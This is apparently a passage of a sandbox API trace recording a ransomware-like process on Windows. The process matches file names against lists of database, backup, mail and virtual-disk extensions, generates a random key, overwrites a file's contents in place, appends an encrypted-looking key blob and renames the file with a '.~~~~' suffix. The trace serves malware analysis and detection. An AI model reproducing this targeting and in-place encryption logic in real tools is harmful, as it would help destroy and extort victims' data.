	[0068.414] lstrlenW (lpString=".sql") returned 4
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".sql") returned 0x0
	[0068.414] lstrlenW (lpString=".MYD") returned 4
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".MYD") returned 0x0
	[0068.414] lstrlenW (lpString=".DBT") returned 4
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".DBT") returned 0x0
	[0068.414] lstrlenW (lpString=".ACCDB") returned 6
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".ACCDB") returned 0x0
	[0068.414] lstrlenW (lpString=".fdb") returned 4
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".fdb") returned 0x0
	[0068.414] lstrlenW (lpString=".bak") returned 4
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".bak") returned 0x0
	[0068.414] lstrlenW (lpString=".myd") returned 4
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".myd") returned 0x0
	[0068.414] lstrlenW (lpString=".DTXS") returned 5
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".DTXS") returned 0x0
	[0068.414] lstrlenW (lpString=".ckp") returned 4
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".ckp") returned 0x0
	[0068.414] lstrlenW (lpString=".dbt") returned 4
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".dbt") returned 0x0
	[0068.415] lstrlenW (lpString=".db") returned 3
	[0068.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".db") returned 0x0
	[0068.415] lstrlenW (lpString=".TXT") returned 4
	[0068.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".TXT") returned 0x0
	[0068.415] lstrlenW (lpString=".MDF") returned 4
	[0068.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".MDF") returned 0x0
	[0068.415] lstrlenW (lpString=".bdb") returned 4
	[0068.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".bdb") returned 0x0
	[0068.415] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0068.415] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0068.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3ace38
	[0068.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0068.415] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0068.417] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0068.417] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0068.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0068.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0068.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3c04d0
	[0068.418] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18840777776) returned 1
	[0068.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x95c49b10, dwHighDateTime=0x1d60e1e)) 
	[0068.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0068.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0068.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0068.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6160
	[0068.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0068.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6160 | out: hHeap=0x300000) returned 1
	[0068.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0068.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0068.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0068.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0068.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0068.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0068.418] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0068.418] GetLastError () returned 0x0
	[0068.419] SetLastError (dwErrCode=0x0) 
	[0068.419] GetLastError () returned 0x0
	[0068.419] SetLastError (dwErrCode=0x0) 
	[0068.419] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0068.419] GetLastError () returned 0x0
	[0068.419] SetLastError (dwErrCode=0x0) 
	[0068.419] GetLastError () returned 0x0
	[0068.419] SetLastError (dwErrCode=0x0) 
	[0068.419] GetLastError () returned 0x0
	[0068.419] SetLastError (dwErrCode=0x0) 
	[0068.419] GetLastError () returned 0x0
	[0068.419] SetLastError (dwErrCode=0x0) 
	[0068.419] GetLastError () returned 0x0
	[0068.419] SetLastError (dwErrCode=0x0) 
	[0068.419] GetLastError () returned 0x0
	[0068.419] SetLastError (dwErrCode=0x0) 
	[0068.419] GetLastError () returned 0x0
	[0068.419] SetLastError (dwErrCode=0x0) 
	[0068.420] GetLastError () returned 0x0
	[0068.420] SetLastError (dwErrCode=0x0) 
	[0068.420] GetLastError () returned 0x0
	[0068.420] SetLastError (dwErrCode=0x0) 
	[0068.420] GetLastError () returned 0x0
	[0068.420] SetLastError (dwErrCode=0x0) 
	[0068.420] GetLastError () returned 0x0
	[0068.420] SetLastError (dwErrCode=0x0) 
	[0068.420] GetLastError () returned 0x0
	[0068.420] SetLastError (dwErrCode=0x0) 
	[0068.420] GetLastError () returned 0x0
	[0068.420] SetLastError (dwErrCode=0x0) 
	[0068.420] GetLastError () returned 0x0
	[0068.421] SetLastError (dwErrCode=0x0) 
	[0068.421] GetLastError () returned 0x0
	[0068.421] SetLastError (dwErrCode=0x0) 
	[0068.421] GetLastError () returned 0x0
	[0068.421] SetLastError (dwErrCode=0x0) 
	[0068.421] GetLastError () returned 0x0
	[0068.421] SetLastError (dwErrCode=0x0) 
	[0068.421] GetLastError () returned 0x0
	[0068.421] SetLastError (dwErrCode=0x0) 
	[0068.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0068.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c16e8
	[0068.421] ReadFile (in: hFile=0x110, lpBuffer=0x3c16e8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c16e8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0068.432] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0068.432] WriteFile (in: hFile=0x110, lpBuffer=0x3c16e8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c16e8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0068.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c16e8 | out: hHeap=0x300000) returned 1
	[0068.434] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0068.434] WriteFile (in: hFile=0x110, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0068.437] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0068.437] WriteFile (in: hFile=0x110, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0068.437] CloseHandle (hObject=0x110) returned 1
	[0068.647] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3a3158
	[0068.727] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.~~~~")) returned 1
	[0068.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3158 | out: hHeap=0x300000) returned 1
	[0068.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0068.727] GetLastError () returned 0x0
	[0068.728] SetLastError (dwErrCode=0x0) 
	[0068.728] GetLastError () returned 0x0
	[0068.728] SetLastError (dwErrCode=0x0) 
	[0068.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0068.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0068.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0068.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c04d0 | out: hHeap=0x300000) returned 1
	[0068.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ace38 | out: hHeap=0x300000) returned 1
	[0068.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5b18 | out: hHeap=0x300000) returned 1
	[0068.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0068.729] RtlWakeConditionVariable () returned 0x365f70
	[0068.729] GetCurrentThreadId () returned 0x9f4
	[0068.729] GetCurrentThreadId () returned 0x9f4
	[0068.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3facd8 | out: hHeap=0x300000) returned 1
	[0068.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df50 | out: hHeap=0x300000) returned 1
	[0068.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5b18
	[0068.729] lstrlenW (lpString=".scr") returned 4
	[0068.729] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".scr") returned 0x0
	[0068.729] lstrlenW (lpString=".cmd") returned 4
	[0068.729] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".cmd") returned 0x0
	[0068.729] lstrlenW (lpString=".dll") returned 4
	[0068.729] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".dll") returned 0x0
	[0068.729] lstrlenW (lpString=".bat") returned 4
	[0068.729] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".bat") returned 0x0
	[0068.729] lstrlenW (lpString=".cpl") returned 4
	[0068.729] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".cpl") returned 0x0
	[0068.729] lstrlenW (lpString=".sys") returned 4
	[0068.729] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".sys") returned 0x0
	[0068.729] lstrlenW (lpString=".msc") returned 4
	[0068.729] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".msc") returned 0x0
	[0068.729] lstrlenW (lpString=".com") returned 4
	[0068.730] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".com") returned 0x0
	[0068.730] lstrlenW (lpString=".lnk") returned 4
	[0068.730] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".lnk") returned 0x0
	[0068.730] lstrlenW (lpString=".msp") returned 4
	[0068.730] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".msp") returned 0x0
	[0068.730] lstrlenW (lpString=".pif") returned 4
	[0068.730] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".pif") returned 0x0
	[0068.730] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0068.730] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0068.730] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0068.730] lstrlenW (lpString=".sqb") returned 4
	[0068.730] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".sqb") returned 0x0
	[0068.730] lstrlenW (lpString=".ost") returned 4
	[0068.730] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".ost") returned 0x0
	[0068.730] lstrlenW (lpString=".txt") returned 4
	[0068.730] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".txt") returned 0x0
	[0068.730] lstrlenW (lpString=".mdt") returned 4
	[0068.730] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".mdt") returned 0x0
	[0068.730] lstrlenW (lpString=".BDB") returned 4
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".BDB") returned 0x0
	[0068.731] lstrlenW (lpString=".eql") returned 4
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".eql") returned 0x0
	[0068.731] lstrlenW (lpString=".DBF") returned 4
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".DBF") returned 0x0
	[0068.731] lstrlenW (lpString=".EQL") returned 4
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".EQL") returned 0x0
	[0068.731] lstrlenW (lpString=".FDB") returned 4
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".FDB") returned 0x0
	[0068.731] lstrlenW (lpString=".EDB") returned 4
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".EDB") returned 0x0
	[0068.731] lstrlenW (lpString=".DACPAC") returned 7
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".DACPAC") returned 0x0
	[0068.731] lstrlenW (lpString=".VHD") returned 4
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".VHD") returned 0x0
	[0068.731] lstrlenW (lpString=".DBV") returned 4
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".DBV") returned 0x0
	[0068.731] lstrlenW (lpString=".dacpac") returned 7
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".dacpac") returned 0x0
	[0068.731] lstrlenW (lpString=".sdf") returned 4
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".sdf") returned 0x0
	[0068.731] lstrlenW (lpString=".accdb") returned 6
	[0068.731] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".accdb") returned 0x0
	[0068.731] lstrlenW (lpString=".DBX") returned 4
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".DBX") returned 0x0
	[0068.732] lstrlenW (lpString=".MDT") returned 4
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".MDT") returned 0x0
	[0068.732] lstrlenW (lpString=".SQB") returned 4
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".SQB") returned 0x0
	[0068.732] lstrlenW (lpString=".vhd") returned 4
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".vhd") returned 0x0
	[0068.732] lstrlenW (lpString=".bac") returned 4
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".bac") returned 0x0
	[0068.732] lstrlenW (lpString=".mdf") returned 4
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".mdf") returned 0x0
	[0068.732] lstrlenW (lpString=".BAK") returned 4
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".BAK") returned 0x0
	[0068.732] lstrlenW (lpString=".BAC") returned 4
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".BAC") returned 0x0
	[0068.732] lstrlenW (lpString=".dbs") returned 4
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".dbs") returned 0x0
	[0068.732] lstrlenW (lpString=".vhdx") returned 5
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".vhdx") returned 0x0
	[0068.732] lstrlenW (lpString=".NDF") returned 4
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".NDF") returned 0x0
	[0068.732] lstrlenW (lpString=".dat") returned 4
	[0068.732] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".dat") returned 0x0
	[0068.733] lstrlenW (lpString=".DBS") returned 4
	[0068.733] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".DBS") returned 0x0
	[0068.733] lstrlenW (lpString=".CKP") returned 4
	[0068.733] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".CKP") returned 0x0
	[0068.733] lstrlenW (lpString=".edb") returned 4
	[0068.733] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".edb") returned 0x0
	[0068.733] lstrlenW (lpString=".PST") returned 4
	[0068.733] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".PST") returned 0x0
	[0068.733] lstrlenW (lpString=".dbf") returned 4
	[0068.733] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".dbf") returned 0x0
	[0068.733] lstrlenW (lpString=".SQL") returned 4
	[0068.733] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".SQL") returned 0x0
	[0068.733] lstrlenW (lpString=".pst") returned 4
	[0068.733] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".pst") returned 0x0
	[0068.733] lstrlenW (lpString=".dbv") returned 4
	[0068.733] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".dbv") returned 0x0
	[0068.733] lstrlenW (lpString=".SDF") returned 4
	[0068.733] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".SDF") returned 0x0
	[0068.733] lstrlenW (lpString=".dtxs") returned 5
	[0068.733] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".dtxs") returned 0x0
	[0068.733] lstrlenW (lpString=".db3") returned 4
	[0068.733] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".db3") returned 0x0
	[0068.734] lstrlenW (lpString=".OST") returned 4
	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".OST") returned 0x0
	[0068.734] lstrlenW (lpString=".dbx") returned 4
	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".dbx") returned 0x0
	[0068.734] lstrlenW (lpString=".DB3") returned 4
	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".DB3") returned 0x0
	[0068.734] lstrlenW (lpString=".DAT") returned 4
	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".DAT") returned 0x0
	[0068.734] lstrlenW (lpString=".VHDX") returned 5
	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".VHDX") returned 0x0
	[0068.734] lstrlenW (lpString=".ndf") returned 4
	[0068.734] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpSrch=".ndf") returned 0x0
	[0068.734] lstrlenW (lpString=".DB") returned 3
